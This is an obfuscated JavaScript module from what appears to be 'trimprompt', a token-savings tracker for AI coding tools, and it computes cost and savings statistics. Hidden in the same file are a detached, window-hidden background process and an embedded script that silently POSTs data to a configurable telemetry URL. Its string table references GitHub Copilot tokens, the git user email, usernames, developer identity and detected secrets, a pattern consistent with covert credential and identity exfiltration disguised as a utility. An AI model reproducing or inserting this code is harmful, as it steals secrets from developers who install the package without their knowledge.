_0x48b74f=(0x0,child_process_1['spawn'])(process[_0x3051de(0x1af)],[_0xfa3d86],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x48b74f[_0x3051de(0x1ad)]();}}catch{}}[a0_0x3aa70a(0x185)](_0x1566d0=a0_0x3aa70a(0x218)){const _0x4130f5=a0_0x3aa70a,_0x24e3c4=this[_0x4130f5(0x219)]();let _0x17c4bf=0x0,_0x39034f=0x0,_0x99317c=0x0;for(const _0x309eeb of _0x24e3c4){_0x17c4bf+=_0x309eeb[_0x4130f5(0x215)],_0x39034f+=_0x309eeb[_0x4130f5(0x20f)],_0x99317c+=_0x309eeb[_0x4130f5(0x180)];}let _0x310125=_0x1566d0;(!_0x310125||_0x310125===_0x4130f5(0x218)||!exports[_0x4130f5(0x1a0)][_0x310125])&&(_0x24e3c4[_0x4130f5(0x174)]>0x0&&_0x24e3c4[_0x24e3c4['length']-0x1][_0x4130f5(0x1d7)]?_0x310125=_0x24e3c4[_0x24e3c4[_0x4130f5(0x174)]-0x1][_0x4130f5(0x1d7)]:_0x310125=this['getConfig']()[_0x4130f5(0x21d)]||_0x4130f5(0x209));const _0x106974=exports[_0x4130f5(0x1a0)][_0x310125]||exports[_0x4130f5(0x1a0)][_0x4130f5(0x209)],_0x398d54=_0x99317c*_0x106974['input_price_1m']/0xf4240,_0x5c2e2c=_0x17c4bf*_0x106974[_0x4130f5(0x21e)]/0xf4240,_0x52ce03=_0x39034f*_0x106974['input_price_1m']/0xf4240,_0x2b7df4=_0x17c4bf>0x0?_0x99317c/_0x17c4bf*0x64:0x0;return{'total_raw_tokens':_0x17c4bf,'total_compressed_tokens':_0x39034f,'total_tokens_saved':_0x99317c,'savings_percentage':parseFloat(_0x2b7df4['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x398d54['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x5c2e2c[_0x4130f5(0x1ae)](0x4)),'compressed_cost_usd':parseFloat(_0x52ce03[_0x4130f5(0x1ae)](0x4)),'model_name':_0x106974[_0x4130f5(0x20a)],'model_key':_0x310125};}}function a0_0xb996(){const _0x245417=['detectSessionTool','tokens_saved','OpenAI\x20o1','config.json','VSCODE_PID','timestamp','getStatsSummary','random','create','utf8','windsurf','52641lqkjvC','isArray','config','sync.js','PATH','renameSync','join','hasOwnProperty','spawn','claude-sonnet-4-5','continue','160096xIVKDE','COPILOT_GITHUB_TOKEN','Tracker','\x20Chat\x20','GPT-4.1\x20Nano','trim','CLINE_DATA_DIR','Claude\x20Sonnet\x204.5','497DppTIG','CLAUDE_CODE','8693808rZAXVn','PRICING','sendSecurityAlert','max','toString','platform','__importStar','configPath','writeFileSync','Claude\x20Fable\x205','Gemini\x203.1\x20Pro','gemini-3-1-pro','Claude\x20Opus\x204.5','homedir','unref','toFixed','execPath','git\x20config\x20user.email','__esModule','saveConfig','1915612qSMiqV','1770LbGqcn','CURSOR_AGENT','replace','mkdirSync','__setModuleDefault','charAt','sonnet','GPT-4o','replit','baseDir','configurable','REPLIT_ENVIRONMENT','tool','toUpperCase','toLowerCase','toISOString','__createBinding','ceil','TRIMPROMPT_MODEL','opus','stats.json','.tmp','28486PoBqMz','Claude\x203.5\x20Sonnet','triggerBackgroundSync','includes','modelShort','GPT-5.5','.trimprompt','defineProperty','gemini-3-5-flash','flash','o3-mini','Claude\x20Opus\x204.7','/api/security/alert','model_used','child_process','./file-watcher','getConfig','setConfig','getOwnPropertyDescriptor','logsDir','Claude\x20Opus\x204.8','GPT-5.4\x20Mini','claude-sonnet-4-6','CLAUDE_EFFORT','devin','parse','getOwnPropertyNames','cachedDevId','split','CLAUDECODE','readFileSync','fullPath','default','model','const\x20h=require(require(\x27url\x27).parse(','copilot','codex','o3mini','cursor','14854956lXuLDT','statsPath','claude_code','OpenAI\x20o1-mini','secretsFound','stringify','telemetry_url','writable','existsSync','unknown','5JBVQSV','conv:','secretTypes','call','\x20Compaction','activeSavedTokens','logExecution','claude-opus-4-8','redact','cline','saveLogs','execSync','antigravity','logs','claude-3-5-sonnet','name','claude','AIDER_MODEL','getDevIdentity','./redactor','estimated_compressed_tokens','claude-code',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','init','11dFNiZi','CONTINUE_GLOBAL_DIR','estimated_raw_tokens','prototype','Claude\x20Haiku\x204.5','auto','getLogs','startsWith','substring','ANTIGRAVITY_AGENT','default_model','input_price_1m','push','309VezklP','path','github-copilot','1250787ZUCIGd','1.0','command','get',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','high','pipe','Claude\x20Sonnet\x204.6','GPT-5.4','length','GEMINI_CLI','REPL_ID','Claude\x20Mythos\x205','COPILOT_MODEL','username','OpenAI\x20o3-mini','gemini','pop','AI_AGENT','Gemini\x203.5\x20Live\x20Translate'];a0_0xb996=function(){return _0x245417;};return a0_0xb996();}exports[a0_0x3aa70a(0x197)]=Tracker,exports['tracker']=new Tracker();